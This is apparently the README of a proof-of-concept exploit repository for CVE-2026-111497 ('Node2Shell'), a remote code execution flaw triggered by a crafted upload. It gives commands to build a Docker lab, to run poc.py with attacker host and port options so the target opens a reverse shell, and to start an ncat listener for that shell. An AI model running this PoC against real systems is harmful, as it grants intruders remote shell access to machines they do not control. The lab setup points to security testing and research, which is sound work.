eqstlab/cve-2026-111497Proof-of-concept exploit for CVE-2026-111497 (Node2Shell) that triggers remote code execution via a crafted upload and delivers a reverse shell, with a Docker lab.
Clone the repository and build the Docker environment.
git clone https://github.com/EQSTLab/CVE-2026-111497.git
cd CVE-2026-111497
docker build -t cve-2026-111497 .
docker run -d --rm --name node2shell-lab -p 3000:3000 cve-2026-111497
Run the PoC with the target address and listener configuration.
python poc.py [TARGET] -lhost [ATTACKER_IP] -lport [ATTACKER_PORT]
Start the listener to receive the reverse shell connection.
ncat -lvnp 4444
$ python poc.py 127.0.0.1:3000 -lhost 192.168.102.87 -lport 4444
